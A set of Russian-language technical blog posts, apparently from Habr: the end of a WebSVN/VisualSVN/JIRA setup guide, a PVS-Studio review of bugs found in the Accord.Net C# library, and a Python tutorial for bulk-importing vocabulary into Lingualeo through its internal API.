* создать общий для репозиториев файл авторизации (у меня это файл D:\SVN\Repositories\authz), пример заполнения можно увидеть в любом локальном файле авторизации (например, D:\SVN\Repositories\rep1\conf\authz); у меня содержимое самое простое:
```
user1=rw
user2=rw
user3=rw
user4=rw
```
* в файл C:\Program Files\VisualSVN Server\conf\httpd-custom.conf добавить
```
SVNListParentPath on
SVNParentPath "D:/SVN/Repositories/"
AuthType Basic
AuthBasicProvider file
AuthName "Please,authenticate in Subversion Repository"
Require valid-user
AuthUserFile "D:/SVN/Repositories/htpasswd"
AuthzSVNGroupsFile "D:/SVN/Repositories/groups.conf"
AuthzSVNAccessFile "D:/SVN/Repositories/authz"
```
Теперь при входе на `yourserver:8443/websvn/` запрашивается авторизация, используемая в Visual SVN Server, а доступ настраивается в общем для репозиториев файле авторизации.
##### Настройка кодировки
WebSVN уже полностью функционален, но не хватает лоска. Например, комментарии в исходном коде Delphi 7, написанные на русском, отображаются кракозябрами. При этом сам сайт уже на русском языке. В чём подвох? На сайте WebSVN нашёл обсуждение данной проблемы: `websvn.tigris.org/ds/viewMessage.do?dsMessageId=2968020&dsForumId=1547`. В кратце: функция php mb\_detect\_encoding, используемая для определения кодировки файла, просто врёт. Используем костыль, предложенный пользователем yaroslav, для этого в файле C:\Program Files\VisualSVN Server\htdocs\websvn\include\command.php заменить
```
return mb_detect_encoding($str.'a', $list);
```
на
```
$res = mb_detect_encoding($str.'a',$list);
if ($res !== 'ISO-8859-1')
return $res;
else
return 'CP1251';
```
Пока проблем с костылем не замечал. Проблема определения кодировки файла подробна раскрыта в посте пользователя [m00t](https://habrahabr.ru/users/m00t/): `habrahabr.ru/post/107945`. Также там описан рабочий способ определения кодировки, использование которого поможет избежать костылей, и их потенциальных проблем.
##### Настройка приветствия на заглавной странице
В файлах C:\Program Files\VisualSVN Server\htdocs\websvn\templates\\index.tmpl можно заменить текст приветствия по умолчанию на свой. Выделяю эту настройку в отдельный пункт, т.к. при использовании русского текста файл необходимо записать в кодировке utf8.
#### 5. Настройка JIRA Subversion plugin
Зайти в администрирование -> плагины -> Subversion Repositories, в каждом репозитории настроить пути (на примере репозитория rep1):
`view format: yourserver:8443/websvn/filedetails.php?repname=rep1&path=${path}`
`changeset format: yourserver:8443/websvn/revision.php?repname=rep1&location=/&rev=${rev}`
`file added format: yourserver:8443/websvn/filedetails.php?repname=rep1&path=${path}&rev=${rev}`
`file modified format: yourserver:8443/websvn/diff.php?repname=rep1&path=${path}&rev=${rev}≻=0`
`file replaced format: yourserver:8443/websvn/filedetails.php?repname=rep1&path=${path}&rev=${rev-1}≻=0`
`file deleted format: yourserver:8443/websvn/filedetails.php?repname=rep1&path=${path}&rev=${rev-1}≻=0` | https://habr.com/ru/post/188104/ | null | ru | null |
# Accord.Net: ищем ошибку в коде, из-за которой машины поработят человечество
Статьи о проверке проектов с открытым исходным кодом — вещь полезная. Кто-то, в том числе и разработчики, узнает об ошибках, содержащихся в проекте, кто-то узнает о методологии статического анализа и начнет применять её для повышения качества своего кода. Для нас же это прекрасный способ популяризации анализатора PVS-Studio, а заодно возможность его дополнительного тестирования. На этот раз я проверил платформу Accord.Net и нашёл в коде много интересных фрагментов.
О проекте и анализаторе
-----------------------
[Accord.Net](http://accord-framework.net/) — платформа машинного обучения на базе .Net, написанная на языке C#. Платформа состоит из нескольких библиотек, охватывающих широкий диапазон задач, таких как статическая обработка данных, машинное обучение, распознавание образов и пр. Исходный код проекта доступен в [репозитории на GitHub](https://github.com/accord-net/framework).
Для проверки проекта использовался статический анализатор кода PVS-Studio, доступный для загрузки по [ссылке](http://www.viva64.com/ru/pvs-studio-download/). Кроме того, вы можете ознакомиться с другими [статьями](http://www.viva64.com/ru/b/) о проверке открытых проектов или с "[базой ошибок](http://www.viva64.com/ru/examples/)", в которой мы собираем найденные нами баги.
Немного о предупреждениях
-------------------------
Анализатор выдал 91 предупреждение первого уровня и 141 предупреждение второго уровня достоверности. 109 из этих предупреждений были описаны или упомянуты в статье. Бегло просмотрев остальные предупреждения, ещё 23 я бы отнёс к ошибкам, но они не приведены в статье, так как показались недостаточно интересными или были схожи с уже описанными. Об остальных предупреждениях анализатора судить уже сложнее — нужно тщательнее разбираться и анализировать код. В итоге, минимум 132 из 232 предупреждений я бы отнёс к ошибкам. Это говорит о том, что число ложных срабатываний анализатора составляет примерно 46%. А, нет, погодите… Это говорит нам о том, что каждое второе предупреждение анализатора — ошибка в коде! По-моему, это достаточно весомый аргумент необходимости использования инструментов статического анализа. О том, как правильно и неправильно использовать статические анализаторы, написано в конце статьи. Пока же предлагаю посмотреть, что же интересного удалось обнаружить в исходном коде.
Найденные ошибки
----------------
**Одинаковые подвыражения**
Допустить ошибку, отлавливаемую диагностическим сообщением [V3001](http://www.viva64.com/ru/d/0381/) достаточно легко, особенно если использовать copy-paste, или если названия переменных, используемых в выражении, схожи. Эти ошибки — одни из самых распространённых, и в этом проекте без них не обошлось. Попробуйте найти ошибку в фрагменте ниже, не подсматривая в предупреждение анализатора.
```
public Blob[] GetObjects(UnmanagedImage image,
bool extractInOriginalSize)
{
....
if ((image.PixelFormat != PixelFormat.Format24bppRgb) &&
(image.PixelFormat != PixelFormat.Format8bppIndexed) &&
(image.PixelFormat != PixelFormat.Format32bppRgb) &&
(image.PixelFormat != PixelFormat.Format32bppArgb) &&
(image.PixelFormat != PixelFormat.Format32bppRgb) &&
(image.PixelFormat != PixelFormat.Format32bppPArgb)
)
....
}
```
**Предупреждение PVS-Studio**: [V3001](http://www.viva64.com/ru/d/0381/) There are identical sub-expressions 'image.PixelFormat != PixelFormat.Format32bppRgb' to the left and to the right of the '&&' operator. Accord.Imaging BlobCounterBase.cs 670
Здесь два раза повторяется подвыражение *image.PixelFormat != PixelFormat.Format32bppRgb*. С такими названиями элементов перечисления ошибиться было достаточно просто, что и произошло. Стоит отметить, что, просматривая такой код, очень легко пропустить лишнее подвыражение. А вот является ли одно из сравнений лишним, или подразумевалось иное значение перечисления — вопрос интересный. В одном случае будет просто избыточный код, а в другом — логическая ошибка.
Этот код встретился ещё раз в этом же файле в строке 833. Copy-paste… Copy-paste никогда не меняется.
**Ошибочное условие выхода из цикла**
Все мы привыкли называть счётчики циклов именами вроде *i*, *j*, *k* и т.п. Как правило, это удобно и является обыденной практикой, но иногда может встать боком. Как в примере ниже.
```
public static void Convert(float[][] from, short[][] to)
{
for (int i = 0; i < from.Length; i++)
for (int j = 0; i < from[0].Length; j++)
to[i][j] = (short)(from[i][j] * (32767f));
}
```
**Предупреждение PVS-Studio:** [V3015](http://www.viva64.com/ru/d/0080/) It is likely that a wrong variable is being compared inside the 'for' operator. Consider reviewing 'i' Accord.Audio SampleConverter.cs 611
В условии выхода из второго цикла используется переменная *i*, хотя счётчиком этого цикла выступает *j*. При этом переменная *i* внутри тела вложенного цикла не изменяется. В итоге *j* будет инкрементироваться до тех пор, пока не выйдет за границы массива, и не будет сгенерировано исключение.
**Разная логика для одинаковых условий**
Встретился код, когда для двух одинаковых операторов *if* была предусмотрена разная логика.
```
public void Fit(double[][] observations,
double[] weights,
MultivariateEmpiricalOptions options)
{
if (weights != null)
throw new ArgumentException("This distribution does not support
weighted samples.", "weights");
....
if (weights != null)
weights = inPlace ? weights : (double[])weights.Clone();
....
}
```
**Предупреждение PVS-Studio:** [V3021](http://www.viva64.com/ru/d/0390/) There are two 'if' statements with identical conditional expressions. The first 'if' statement contains method return. This means that the second 'if' statement is senseless Accord.Statistics MultivariateEmpiricalDistribution.cs 653
Странный код, правда? Особенно если учесть тот факт, что переменная *weights* является параметром метода и никак не используется между этими условиями. Таким образом, второй оператор *if* никогда не будет выполнен, так как если выражение *weights != null* истинно, будет сгенерировано исключение типа *ArgumentException*.
Этот код встретился ещё раз в этом же файле в строке 687.
**Условия, значения которых всегда ложны**
Диагностическое правило [V3022](http://www.viva64.com/ru/d/0081/) очень похорошело с первого релиза и не перестаёт меня удивлять. Давайте посмотрим, сможет ли оно удивить и вас. Для начала предлагаю найти ошибку в коде, не прибегая к помощи диагностического сообщения анализатора. При этом обращаю внимание на то, что это уже упрощённый вариант, с вырезанными фрагментами кода.
```
private static void dscal(int n, double da, double[] dx,
int _dx_offset, int incx)
{
....
if (((n <= 0) || (incx <= 0)))
{
return;
}
....
int _i_inc = incx;
for (i = 1; (_i_inc < 0) ? i >= nincx : i <= nincx; i += _i_inc)
....
}
```
**Предупреждение PVS-Studio:** [V3022](http://www.viva64.com/ru/d/0081/) Expression '(\_i\_inc < 0)' is always false. Accord.Math BoundedBroydenFletcherGoldfarbShanno.FORTRAN.cs 5222
Безусловно, сейчас ошибку найти легче, так как из метода специально были вырезаны фрагменты, не интересные нам. И всё же сходу трудно сказать, где же в этом коде проблемное место. А дело в том (как вы могли догадаться, прочитав сообщение анализатора), что выражение *(\_i\_inc < 0)* всегда ложно. Здесь следует обратить внимание на то, что переменная *\_i\_inc* инициализируется значением переменной *incx*. В то же время значение переменной *incx* на момент инициализации *\_i\_inc* положительно, так как иначе был бы осуществлён выход из тела метода выше по коду. Следовательно, *\_i\_inc* может иметь только положительное значение, результат сравнения *\_i\_inc < 0* всегда имеет значение *false*, и условием выхода из цикла всегда будет выражение *i <= nincx.*
Такой углубленный анализ стал доступен благодаря механизму [виртуальных значений](http://www.viva64.com/ru/b/0394/), который сильно улучшил некоторые диагностические правила анализатора.
```
private void hqr2()
{
....
int low = 0;
....
for (int i = 0; i < nn; i++)
{
if (i < low | i > high)
....
}
....
}
```
**Предупреждение PVS-Studio:** [V3063](http://www.viva64.com/ru/d/0461/) A part of conditional expression is always false: i < low. Accord.Math JaggedEigenvalueDecompositionF.cs 571
Подвыражение *i < low* всегда будет иметь значение *false*, так как минимальное значение, принимаемое переменной *i —* 0, а значение *low* на момент сравнения также всегда будет равно 0. Следовательно, подвыражение *i < low* будет вычисляться «вхолостую».
Таких мест встретилось много. Все предупреждения приводить не буду, но несколько перечислю:* V3063 A part of conditional expression is always false: i < low. Accord.Math JaggedEigenvalueDecompositionF.cs 972
* V3063 A part of conditional expression is always false: i < low. Accord.Math JaggedEigenvalueDecomposition.cs 571
* V3063 A part of conditional expression is always false: i < low. Accord.Math JaggedEigenvalueDecomposition.cs 972
* V3063 A part of conditional expression is always false: i < low. Accord.Math EigenvalueDecomposition.cs 567
**Целочисленное деление с приведением к вещественному типу**
Анализатор нашёл в коде подозрительные математические вычисления. Достаточно просто забыть о том, что при делении целых выполняется целочисленное деление. Если подразумевалось вещественное деление, может возникнуть неприятная и трудноуловимая ошибка. В некоторых случаях стороннему разработчику бывает сложно сказать, содержится ли в таком выражении ошибка, но проверить подобные операции стоит. Предлагаю рассмотреть несколько подобных случаев.
```
public static double GetSpectralResolution(int samplingRate,
int samples)
{
return samplingRate / samples;
}
```
**Предупреждение PVS-Studio:** [V3041](http://www.viva64.com/ru/d/0425/) The expression was implicitly cast from 'int' type to 'double' type. Consider utilizing an explicit type cast to avoid the loss of a fractional part. An example: double A = (double)(X) / Y;. Accord.Audio Tools.cs 158
Данный метод выполняет деление двух целочисленных переменных, однако результат этого деления неявно приводится к типу *double*. Выглядит подозрительно.
А вот следующий код выглядит ещё более странно:
```
public static int GreatestCommonDivisor(int a, int b)
{
int x = a - b * (int)Math.Floor((double)(a / b));
while (x != 0)
{
a = b;
b = x;
x = a - b * (int)Math.Floor((double)(a / b));
}
return b;
}
```
**Предупреждения PVS-Studio:** * [V3041](http://www.viva64.com/ru/d/0425/) The expression was implicitly cast from 'int' type to 'double' type. Consider utilizing an explicit type cast to avoid the loss of a fractional part. An example: double A = (double)(X) / Y;. Accord.Math Tools.cs 137
* [V3041](http://www.viva64.com/ru/d/0425/) The expression was implicitly cast from 'int' type to 'double' type. Consider utilizing an explicit type cast to avoid the loss of a fractional part. An example: double A = (double)(X) / Y;. Accord.Math Tools.cs 142
Анализатору показалось подозрительным выражение *(double)(a / b)*. Метод *Floor* возвращает наибольшее целое число, меньшее или равное заданному числу двойной точности с плавающей запятой ([MSDN. Math.Floor](https://msdn.microsoft.com/ru-ru/library/e0b5f0xb(v=vs.110).aspx)). Но переменные *a* и *b* имеют тип *int*, следовательно — будет выполнено целочисленное деление, результатом которого будет целочисленное значение. Выходит, что нет никакого смысла в явном приведении этого значения к типу *double* и вызову метода *Floor*.
Для корректного выполнения операции было нужно привести к типу *double* один из операндов. Тогда было бы выполнено вещественное деление, и вызов метода *Floor* был бы оправдан:
```
Math.Floor((double)a / b)
```
**Параметр метода, значение которого всегда перезаписывается**
Продолжим. Ошибки следующего типа встречаются не часто, но всё же попадаются.
```
private static double WeightedMode(double[] observations,
double[] weights,
double mode,
int imax,
int imin)
{
....
var bestValue = currentValue;
....
mode = bestValue;
return mode;
}
```
**Предупреждение PVS-Studio:** [V3061](http://www.viva64.com/ru/d/0468/) Parameter 'mode' is always rewritten in method body before being used. Accord.Statistics TriangularDistribution.cs 646
Один из параметров метода — *mode* — перезаписывается и возвращается. При этом в теле метода *mode* никак не используется (не считая перезаписи). Не возьмусь утверждать, что это ошибка (среди подозрительных мест, найденных этим диагностическим правилом в других проектах, явно было видно ошибочные), но выглядит этот код странно.
Вообще есть интересная особенность: как правило, ошибки в этом проекте не встречаются поодиночке. Точно такой же код можно найти в нескольких местах. Действительно, copy-paste не меняется...* V3061 Parameter 'mode' is always rewritten in method body before being used. Accord.Statistics TriangularDistribution.cs 678
* V3061 Parameter 'mode' is always rewritten in method body before being used. Accord.Statistics TriangularDistribution.cs 706
* V3061 Parameter 'mode' is always rewritten in method body before being used. Accord.Statistics TriangularDistribution.cs 735
**Разыменовывание нулевой ссылки**
```
public override string ToString(string format,
IFormatProvider formatProvider)
{
....
var fmt = components[i] as IFormattable;
if (fmt != null)
sb.AppendFormat(fmt.ToString(format, formatProvider));
else
sb.AppendFormat(fmt.ToString());
....
}
```
**Предупреждение PVS-Studio:** [V3080](http://www.viva64.com/ru/d/0480/) Possible null dereference. Consider inspecting 'fmt'. Accord.Statistics MultivariateMixture'1.cs 697
Обычно ошибки, приводящие к возникновению исключений, отлавливаются в процессе разработки, если код тестируется достаточно тщательно. Но не всегда, и пример выше — тому доказательство. В случае, если выражение *fmt != null* ложно, у объекта *fmt* вызывается экземплярный метод *ToString.* Результат? Исключение типа *NullReferenceException*.
И, как вы уже могли догадаться, такая же ошибка встретилась ещё раз: MultivariateMixture'1.cs 697
**Взаимное присвоение ссылок**
```
public class MetropolisHasting : IRandomNumberGenerator
{
....
T[] current;
T[] next;
....
public bool TryGenerate()
{
....
var aux = current;
current = next;
next = current;
....
}
....
}
```
**Предупреждение PVS-Studio:** [V3037](http://www.viva64.com/ru/d/0420/) An odd sequence of assignments of this kind: A = B; B = A;. Check lines: 290, 289. Accord.Statistics MetropolisHasting.cs 290
Очевидно, что в приведённом фрагменте метода *TryGenerate* хотели поменять местами ссылки на массивы *next* и *current* (переменная *aux* больше нигде не используется). Но из-за ошибки получилось, что и *current*, и *next* теперь хранят ссылки на один и тот же массив — тот, ссылка на который содержалась в переменной *next*.
Правильный код должен был выглядеть так:
```
var aux = current;
current = next;
next = aux;
```
**Потенциальное деление на 0**
При анализе обнаружилось несколько ошибок потенциального деления на 0. Мельком взглянем на них:
```
public BlackmanWindow(double alpha, int length)
: base(length)
{
double a0 = (1.0 - alpha) / 2.0;
double a1 = 0.5;
double a2 = alpha / 2.0;
for (int i = 0; i < length; i++)
this[i] = (float)(a0 -
a1 * Math.Cos((2.0 * System.Math.PI * i) / (length - 1)) +
a2 * Math.Cos((4.0 * System.Math.PI * i) / (length - 1)));
}
```
**Предупреждения PVS-Studio:*** [V3064](http://www.viva64.com/ru/d/0462/) Potential division by zero. Consider inspecting denominator '(length — 1)'. Accord.Audio BlackmanWindow.cs 64
* [V3064](http://www.viva64.com/ru/d/0462/) Potential division by zero. Consider inspecting denominator '(length — 1)'. Accord.Audio BlackmanWindow.cs 65
Анализатор счёл подозрительным следующий код:
```
(2.0 * System.Math.PI * i) / (length - 1)
```
Возможно, что в реальности ошибки здесь и не будет (*length* — длина какого-то окна, и для возникновения ошибки она должна иметь значение 1), но как знать? Лучше перестраховаться, иначе велик шанс получить очень неприятную ошибку, которую к тому же будет тяжело обнаружить.
Встретился ещё один интересный фрагмент кода с потенциальным делением на 0.
```
public static double[,] Centering(int size)
{
if (size < 0)
{
throw new ArgumentOutOfRangeException("size", size,
"The size of the centering matrix must
be a positive integer.");
}
double[,] C = Matrix.Square(size, -1.0 / size);
....
}
```
**Предупреждение PVS-Studio:** [V3064](http://www.viva64.com/ru/d/0462/) Potential division by zero. Consider inspecting denominator 'size'. Accord.Math Matrix.Construction.cs 794
Как по мне — весьма интересная и забавная ошибка. Анализатор отметил, что в выражении *-1.0 / size* возможно деление на 0. А теперь обратите внимание на проверку выше. Если *size < 0*, будет сгенерировано исключение, однако если *size == 0*, исключения не будет, а вот деление на 0 — будет. При этом в литерале, передаваемом конструктору исключения, написано, что размер матрицы должен быть *положительным* числом, но проверка при этом осуществляется на *неотрицательные* значения. А *положительное* и *неотрицательное* — всё же разные понятия. Полагаю, для исправления ошибки достаточно просто подправить проверку:
```
if (size <= 0)
```
**Использование битового оператора вместо логического**
Порой приходится сталкиваться с тем, что не все программисты знают разницу между битовыми и логическими операторами ('|' и '||', '&' и '&&'). Это может приводить к совершенно разным последствиям — от лишних вычислений до падений. В данном проекте встретилось несколько подозрительных мест с использованием битовых операций:
```
public JaggedSingularValueDecompositionF(
Single[][] value,
bool computeLeftSingularVectors,
bool computeRightSingularVectors,
bool autoTranspose,
bool inPlace)
{
....
if ((k < nct) & (s[k] != 0.0))
....
}
```
**Предупреждение PVS-Studio:** [V3093](http://www.viva64.com/ru/d/0494/) The '&' operator evaluates both operands. Perhaps a short-circuit '&&' operator should be used instead. Accord.Math JaggedSingularValueDecompositionF.cs 461
Тело оператора *if* будет выполнено, если оба подвыражения (*k < nct* и *s[k] != 0.0*) имеют значение *true*. Но при этом, даже если значение первого подвыражения (*k < nct*) имеет значение *false*, второе подвыражение всё равно будет вычисляться, чего не было бы при использовании оператора &&. Итак, если программист проверял значение *k*, чтобы не выйти за границу массива, то у него ничего из этого не вышло.
Схожие предупреждения:* V3093 The '&' operator evaluates both operands. Perhaps a short-circuit '&&' operator should be used instead. Accord.Math JaggedSingularValueDecompositionF.cs 510
* V3093 The '&' operator evaluates both operands. Perhaps a short-circuit '&&' operator should be used instead. Accord.Math JaggedSingularValueDecompositionF.cs 595
* V3093 The '&' operator evaluates both operands. Perhaps a short-circuit '&&' operator should be used instead. Accord.Math JaggedSingularValueDecomposition.cs 461
* V3093 The '&' operator evaluates both operands. Perhaps a short-circuit '&&' operator should be used instead. Accord.Math JaggedSingularValueDecomposition.cs 510
* V3093 The '&' operator evaluates both operands. Perhaps a short-circuit '&&' operator should be used instead. Accord.Math JaggedSingularValueDecomposition.cs 595
* V3093 The '&' operator evaluates both operands. Perhaps a short-circuit '&&' operator should be used instead. Accord.Math Gamma.cs 296
**Проверка в цикле одного и того же элемента**
Встретилась ошибка, найденная диагностическим правилом из последнего релиза анализатора.
```
public override int[] Compute(double[][] data, double[] weights)
{
....
int cols = data[0].Length;
for (int i = 0; i < data.Length; i++)
if (data[0].Length != cols)
throw new DimensionMismatchException("data",
"The points matrix should be rectangular.
The vector at position {} has a different
length than previous ones.");
....
}
```
**Предупреждение PVS-Studio:** [V3102](http://www.viva64.com/ru/d/0502/) Suspicious access to element of 'data' object by a constant index inside a loop. Accord.MachineLearning BinarySplit.cs 121
Интересная ошибка. Программист хотел проверить, что зубчатый массив *data* на самом деле является двумерным (т.е. является матрицей). Но ошибся в выражении *data[0].Length != cols*, использовав в качестве значения индекса не счётчик цикла *i*, а целочисленный литерал — 0. В итоге выражение *data[0].Length != cols* всегда будет ложно, так как оно эквивалентно выражению *data[0].Length != data[0].Length*. Если бы параметр *data* был двумерным массивом (*Double[,]*), этой ошибки, равно как и всей проверки, можно было бы избежать. Но возможно, что использование зубчатого массива обусловлено какими-то особенностями архитектуры приложения.
**Передача методу в качестве аргумента вызывающего объекта**
Следующий фрагмент кода также выглядит подозрительно.
```
public static double WeightedMean(this double[] values,
double[] weights)
{
....
}
public override void Fit(double[] observations,
double[] weights,
IFittingOptions options)
{
....
mean = observations.WeightedMean(observations);
....
}
```
**Предупреждение PVS-Studio:** [V3062](http://www.viva64.com/ru/d/0469/) An object 'observations' is used as an argument to its own method. Consider checking the first actual argument of the 'WeightedMean' method. Accord.Statistics InverseGaussianDistribution.cs 325
Анализатор счёл подозрительным факт, что метод *WeightedMean* в качестве аргумента принимает тот же объект, у которого он вызывается. Это становится вдвойне странным, если учесть, что *WeightedMean* — метод-расширения. Я провёл дополнительное исследование, посмотрев, как используется данный метод в других местах. Во всех местах его использования в качестве второго аргумента выступал массив *weights* (обратите внимание, что такой массив есть и в рассматриваемом методе *Fit*), так что скорее всего это ошибка и правильный код должен выглядеть так:
```
mean = observations.WeightedMean(weights);
```
**Потенциальная ошибка сериализации**
Обнаружилась потенциальная проблема сериализации одного из классов.
```
public class DenavitHartenbergNodeCollection :
Collection
{ .... }
[Serializable]
public class DenavitHartenbergNode
{
....
public DenavitHartenbergNodeCollection Children
{
get;
private set;
}
....
}
```
**Предупреждение PVS-Studio:** [V3097](http://www.viva64.com/ru/d/0507/) Possible exception: the 'DenavitHartenbergNode' type marked by [Serializable] contains non-serializable members not marked by [NonSerialized]. Accord.Math DenavitHartenbergNode.cs 77
При сериализации экземпляра класса *DenavitHartenbergNode* возможно возникновение исключения типа *SerializationException*. Всё зависит от выбранного типа сериализатора. Если в качестве сериализатора выступает, например, экземпляр типа *BinaryFormatter*, будет сгенерировано исключение, так как требуется, чтобы все сериализуемые члены (а это свойство тоже сериализуемо) были декорированы атрибутом *[Serializable]*.
Некоторые способы решения:* реализовать это свойство через поле, декорированное атрибутом *[NonSerialized]*. Тогда поле (а следовательно — и ассоциированное с ним свойство) не будут сериализованы;
* реализовать интерфейс *ISerializable*, и в методе *GetObjecData* проигнорировать сериализацию этого свойства;
* декорировать тип *DenavitHartenbergNodeCollection* атрибутом *[Serializable].*
Судя по окружающему коду (все остальные свойства имеют сериализуемые типы), необходимо реализовать последний случай.
Если же экземпляры данного типа сериализуются с использованием сериализаторов, не требующих, чтобы все сериализуемые члены были декорированы атрибутом *[Serializable]*, можно не волноваться на счёт этого кода.
Анализатором было обнаружено очень много небезопасных фрагментов вызовов событий. Насколько много? 75 предупреждений [V3083](http://www.viva64.com/ru/d/0485/)! Предлагаю рассмотреть один фрагмент кода, так как остальные, в принципе, схожи с ним.
```
private void timeUp_Elapsed(object sender, ElapsedEventArgs e)
{
....
if (TempoDetected != null)
TempoDetected(this, EventArgs.Empty);
}
```
**Предупреждение PVS-Studio:** [V3083](http://www.viva64.com/ru/d/0485/) Unsafe invocation of event 'TempoDetected', NullReferenceException is possible. Consider assigning event to a local variable before invoking it. Accord.Audio Metronome.cs 223
В данном фрагменте кода проверяется, есть ли подписчики у события *TempoDetected*, и, если они есть, вызывается событие. Предполагалось, что, если на момент проверки у *TempoDetected* не будет подписчиков, это позволит избежать возникновения исключения. Однако есть вероятность, что в момент между проверкой *TempoDetected* на неравенство *null* и вызовом события, у него не останется подписчиков (например, в других потоках произойдёт отписка от этого события). В итоге, если на момент вызова события у *TempoDetected* не будет подписчиков, будет сгенерировано исключение типа *NullReferenceException*. Избежать подобных проблем можно, например, использую null-условный оператор '?.', добавленный в C# 6.0. Более подробно прочитать о проблеме и других способах её решения можно в документации к этому диагностическому правилу.
Как нужно и как не нужно использовать статический анализатор
------------------------------------------------------------
Перед тем, как закончить, я бы хотел немного рассказать о том, как же всё-таки необходимо использовать инструменты статического анализа. Часто приходится сталкиваться с таким подходом: «Мы проверили перед релизом наш проект. Что-то ничего особо интересного не нашлось.» Нет, нет, нет! Это самый неправильный способ использования. В качестве параллели можно привести такой пример — откажитесь от разработки программ в IDE, пишите всё в простом блокноте. И перед самым релизом начинайте работать в IDE. Странно? Ещё бы! Толку от этой IDE, если большую часть времени, когда от неё был бы толк, она пылилась у вас на SSD/HDD? Такая же ситуация и со статическими анализаторами. Применять их нужно регулярно, а не разово.
Если вы проверяете анализатором код приложения только перед релизом, очевидно, что многие ошибки будут уже исправлены. Но какой ценой? Ценой нервов и времени разработчиков, писавших код, ценой многочисленных тестов, призванных выявлять эти самые ошибки. В итоге стоимость таких ошибок становится, мягко говоря, немалой.
В то же время всего этого можно было бы избежать, если правильно внедрить анализатор в процесс разработки. Установив анализатор локально на машину каждому разработчику, можно добиться того, чтобы большинство ошибок, фиксируемых анализатором, обнаруживались и исправлялись ещё до момента попадания в репозиторий. Более того, обнаруженная и исправленная ошибка, ещё не успевшая обрасти различными зависимостями, будет стоить гораздо дешевле. Ещё больше поспособствовать обнаружению ошибок поможет [режим инкрементального анализа](http://www.viva64.com/ru/d/0218/), использование которого позволяет выявить ошибку сразу после её появления.
Полезным шагом будет внедрение статического анализа и в процесс ночных сборок. Это также позволит достаточно быстро обнаруживать ошибки, а также позволит узнать, кто допустил их попадание в репозиторий. Для разработчиков это также будет дополнительным стимулом к более аккуратному написанию кода.
Таким образом, именно регулярное использование инструментов статического анализа позволит получить от них наибольшую пользу.
Итоги
-----
В очередной раз удалось проверить интересный проект, найти не менее интересные ошибки и рассказать о них. Возможно, кто-то что-то возьмёт на заметку, узнает что-то новое или просто будет аккуратнее при написании кода. Тем не менее все мы люди, а человеку свойственно ошибаться. Помочь исправить ошибки, допущенные в программном коде, поможет [PVS-Studio](http://www.viva64.com/ru/pvs-studio/). Регулярное применение статического анализатора позволит уменьшить головную боль, связанную с поиском ошибок и их исправлением.
[](http://www.viva64.com/en/b/0410/)
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Sergey Vasiliev. [Accord.Net: Looking for a Bug that Could Help Machines Conquer Humankind](http://www.viva64.com/en/b/0410/).
**Прочитали статью и есть вопрос?**Часто к нашим статьям задают одни и те же вопросы. Ответы на них мы собрали здесь: [Ответы на вопросы читателей статей про PVS-Studio, версия 2015](http://www.viva64.com/ru/a/0085/). Пожалуйста, ознакомьтесь со списком. | https://habr.com/ru/post/305406/ | null | ru | null |
# Импорт словаря в Lingualeo.com
#### Предыстория
Для импорта слов в [Lingualeo.com](http://lingualeo.com/) есть несколько решений:
* Приложения для браузера или телефонов:
* Добавление слов на сайте.
Минусы этих способов в том, что вносить слова можно только по одному. Нам необходима реализация, которая позволит добавлять несколько слов за раз.
#### Должно же быть API?
Официального api найти не удалось. НО! Есть расширения для браузера, а это отличный способ найти внутренний api для сервиса.
Заходим в Google Chrome и топаем на сайт сервиса. Внизу страницы предлагаются приложения и расширения. Выбираем для Chrome. Браузер устанавливает расширение в папку Extensions (полный путь не указываю, зависит от OS). Внутри директории будет несколько папок с хешами в виде названий. Выбираем последнюю по дате. Внутри можно найти файл config.js — в нем и хранятся все пути к API проекта. Нас интересуют только три из них:
* /api/login
* /gettranslates
* /addword
#### На чем писать?
Выбрал python, т.к. устанавливается по умолчанию на большинство OS. Модули берем те, которые не требуют дополнительной установки. Реализуем решение для работы с api.
**service.py**
```
import urllib
import urllib2
import json
from cookielib import CookieJar
class Lingualeo:
def __init__(self, email, password):
self.email = email
self.password = password
self.cj = CookieJar()
def auth(self):
url = "http://api.lingualeo.com/api/login"
values = {
"email": self.email,
"password": self.password
}
return self.get_content(url, values)
def add_word(self, word, tword, context):
url = "http://api.lingualeo.com/addword"
values = {
"word": word,
"tword": tword,
"context": context,
}
self.get_content(url, values)
def get_translates(self, word):
url = "http://api.lingualeo.com/gettranslates?word=" + urllib.quote_plus(word)
try:
result = self.get_content(url, {})
translate = result["translate"][0]
return {
"is_exist": translate["is_user"],
"word": word,
"tword": translate["value"].encode("utf-8")
}
except Exception as e:
return e.message
def get_content(self, url, values):
data = urllib.urlencode(values)
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(self.cj))
req = opener.open(url, data)
return json.loads(req.read())
```
Изначальное решение было только для текстовых файлов. Каждое слово должно быть на новой строке. Но в процессе написания кода, решил добавить реализацию для Kindle, т.к. переодически с него тоже необходимо забирать слова.
**handler.py**
```
class Word:
text = '';
context = '';
def __init__(self, text):
self.text = text
class Base(object):
data = []
def __init__(self, source):
self.source = source
def get(self):
return self.data
def read(self):
raise NotImplementedError('Not implemented yet')
class Kindle(Base):
def read(self):
conn = sqlite3.connect(self.source)
sql = 'select word, usage from words LEFT JOIN LOOKUPS ON words.id = LOOKUPS.word_key where words.lang="en" GROUP BY word ORDER BY word;'
for row in conn.execute(sql):
if isinstance(row[0], unicode):
word = Word(row[0])
if isinstance(row[1], unicode):
word.context = row[1]
self.data.append(word)
conn.close()
class Text(Base):
def read(self):
f = open(self.source)
for word in f.readlines():
self.data.append(Word(word))
f.close()
```
И реализация самого скрипта для экспорта/импорта слов:
**export.py**
```
import handler
import config
import service
import sys
email = config.auth.get('email')
password = config.auth.get('password')
export_type = sys.argv[1]
if export_type == 'text':
word_handler = handler.Text(config.sources.get('text'))
elif export_type == 'kindle':
word_handler = handler.Kindle(config.sources.get('kindle'))
else:
raise Exception('unsupported type')
word_handler.read()
lingualeo = service.Lingualeo(email, password)
lingualeo.auth()
for word_dto in word_handler.get():
word = word_dto.text.lower().encode('utf-8')
translate = lingualeo.get_translates(word)
if translate["is_exist"]:
print "Already exists: " + word.strip()
else:
context = word_dto.context.encode('utf-8')
lingualeo.add_word(word, translate["tword"], context)
print "Add word: " + word.strip()
```
#### Запуск и установка
Скачиваем код с github. Создаем файл config.py из config.py.dist. Прописываем путь до файла со словами. В случаем с kindle до sqlite базы внутри kindle.
```
python export.py text #Для текстовых файлов
python export.py kindle #Для kindle
```
#### Исходники
